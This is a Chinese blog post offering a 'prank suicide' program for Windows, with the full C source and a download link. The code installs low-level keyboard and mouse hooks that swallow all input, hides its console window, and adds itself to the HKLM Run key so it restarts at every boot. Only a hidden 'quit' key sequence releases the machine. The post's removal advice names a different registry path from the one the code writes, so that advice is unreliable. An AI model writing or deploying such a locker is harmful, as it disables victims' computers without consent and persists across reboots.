『other』恶搞自杀小程序

去年写过一个关于键盘钩子控制视频播放的程序,今年偶然想起来都不知道怎么弄的了。

于是,今天又研究了一下。

之前有想过利用它可以写点恶搞的小程序。今天想了想,于是就有了这篇恶搞自杀小程序。


原理比较简单,仅作记录。


首先,创建一个win32控制台程序,申明一个钩子变量和模块句柄变量,分别创建键盘钩子和鼠标钩子:

HHOOK hHook;
	HHOOK mouseHook;
	HINSTANCE hInstance;

	hInstance	= (HINSTANCE)::GetModuleHandle(NULL);
	//创建键盘钩子
	hHook		= SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, NULL);
	//创建鼠标钩子
	mouseHook	= SetWindowsHookEx(WH_MOUSE_LL, MouseHook, hInstance, NULL);

然后写键盘钩子和鼠标钩子相应的回调函数,这里我们只要让他们的返回值不为0就能实现对键盘鼠标消息的锁定,其他程序就得不到消息了,动鼠标和键盘会没任何反应!

//鼠标消息响应函数
LRESULT CALLBACK MouseHook(int nCode, WPARAM wParam, LPARAM lParam)
{
	//返回非0的数则可以截断次消息
	return 1;
}

//键盘消息响应函数,只有在输入"quit"后程序才能退出,不然真的就死定了
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	KBDLLHOOKSTRUCT* pkhs = (KBDLLHOOKSTRUCT*)lParam;
	if(nCode == HC_ACTION)
	{
		if(wParam == WM_KEYUP)
		{
			if(pkhs->vkCode == 0x51 && password == 0)
				password = 1;
			if(pkhs->vkCode == 0x55 && password == 1)
				password = 2;
			if(pkhs->vkCode == 0x49 && password == 2)
				password = 3;
			if(pkhs->vkCode == 0x54 && password == 3)
				exit(-1);
		}
	}
	return 1;
	//如果执行下面这一句则可以让其他程序得到键盘消息
//	return CallNextHookEx(hHook, nCode, wParam, lParam);
}
可以看到其实我在这里做了一下手脚,按下“quit”程序其实就退出了(不能让自己真的中招啊!)

然后添加消息循环函数和卸载钩子:

	MSG msg;
	//消息循环
	while(::GetMessage(&msg, NULL, 0, 0) > 0)
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	//卸载钩子
	::UnhookWindowsHookEx(hHook);
	::UnhookWindowsHookEx(mouseHook);
	hHook = NULL;
	mouseHook = NULL;

哈哈,这样就基本完成了。

为了更贱一点点。。呵呵,我们可以让程序开机自动启动。。。

在main函数的最前面加上这些就能完成啦,自动写入注册表:

//******把程序写入注册表,加入到自动启动项中,开机就自动启动这个程序了,慎用!!*****//
	HKEY hKey;
	LSTATUS status = RegOpenKeyEx(
		HKEY_LOCAL_MACHINE, 
		TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 
		0, KEY_ALL_ACCESS , &hKey);
	if(status != ERROR_SUCCESS)
		return -1;
	TCHAR filePath[MAX_PATH] = {0};  
	if(!GetModuleFileName(NULL, filePath, MAX_PATH))
		return -1;
	status = ::RegSetValueEx(hKey, L"suicide", 0, REG_SZ, (BYTE*)filePath, (wcslen(filePath)+1)*(sizeof(WCHAR) ));
	if(status != ERROR_SUCCESS)
		return -1;
	RegCloseKey(hKey);
	//******************************************************//

对了,我们不能让程序出来了,所以隐藏一下控制台的黑框,只用调用一句话:

//去掉控制台黑框
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") 

哈哈,大功告成了,只要点下这个程序,你就可以安心的去啦,万事无忧!

呃。。。别真的去点啊,点了就悲剧了,程序写进了注册表,鼠标键盘都失效啦,重启程序自动启动啦,真的是死翘翘了。

我可没真去试,不过我想了想,如果谁真的想不开点了这个程序,用PE进系统把程序删掉应该可以解决,完全模式不清楚可不可行。最好别试。


下面是完整的源码:

#include <Windows.h>

//去掉控制台黑框
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") 

HHOOK hHook;
HHOOK mouseHook;
HINSTANCE hInstance;
static int password = 0;

//鼠标消息响应函数
LRESULT CALLBACK MouseHook(int nCode, WPARAM wParam, LPARAM lParam)
{
	//返回非0的数则可以截断次消息
	return 1;
}

//键盘消息响应函数,只有在输入"quit"后程序才能退出,不然真的就死定了
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	KBDLLHOOKSTRUCT* pkhs = (KBDLLHOOKSTRUCT*)lParam;
	if(nCode == HC_ACTION)
	{
		if(wParam == WM_KEYUP)
		{
			if(pkhs->vkCode == 0x51 && password == 0)
				password = 1;
			if(pkhs->vkCode == 0x55 && password == 1)
				password = 2;
			if(pkhs->vkCode == 0x49 && password == 2)
				password = 3;
			if(pkhs->vkCode == 0x54 && password == 3)
				exit(-1);
		}
	}
	return 1;
	//如果执行下面这一句则可以让其他程序得到键盘消息
//	return CallNextHookEx(hHook, nCode, wParam, lParam);
}

int main()
{
	//******把程序写入注册表,加入到自动启动项中,开机就自动启动这个程序了,慎用!!*****//
	HKEY hKey;
	LSTATUS status = RegOpenKeyEx(
		HKEY_LOCAL_MACHINE, 
		TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 
		0, KEY_ALL_ACCESS , &hKey);
	if(status != ERROR_SUCCESS)
		return -1;
	TCHAR filePath[MAX_PATH] = {0};  
	if(!GetModuleFileName(NULL, filePath, MAX_PATH))
		return -1;
	status = ::RegSetValueEx(hKey, L"suicide", 0, REG_SZ, (BYTE*)filePath, (wcslen(filePath)+1)*(sizeof(WCHAR) ));
	if(status != ERROR_SUCCESS)
		return -1;
	RegCloseKey(hKey);
	//******************************************************//

	hInstance	= (HINSTANCE)::GetModuleHandle(NULL);
	//创建键盘钩子
	hHook		= SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, NULL);
	//创建鼠标钩子
	mouseHook	= SetWindowsHookEx(WH_MOUSE_LL, MouseHook, hInstance, NULL);
	
	MSG msg;
	//消息循环
	while(::GetMessage(&msg, NULL, 0, 0) > 0)
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	//卸载钩子
	::UnhookWindowsHookEx(hHook);
	::UnhookWindowsHookEx(mouseHook);
	hHook = NULL;
	mouseHook = NULL;

	return 0;
}

对了,这个程序运行了,会在启动项里添加自动启动项,只有在注册表里才能删掉,路径如下:

HKEY_LOCAL_MACHINE\Software\Microsoft\Shared Tools\ Msconfig,在里面直接删掉那个程序的文件夹就行了(这里是suicide)。

源码和执行文件下载地址:

http://download.csdn.net/detail/ppandaren/6600995


最后引用泰戈尔的诗句:


愿生如夏花之绚烂,死如秋叶之静美。



  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值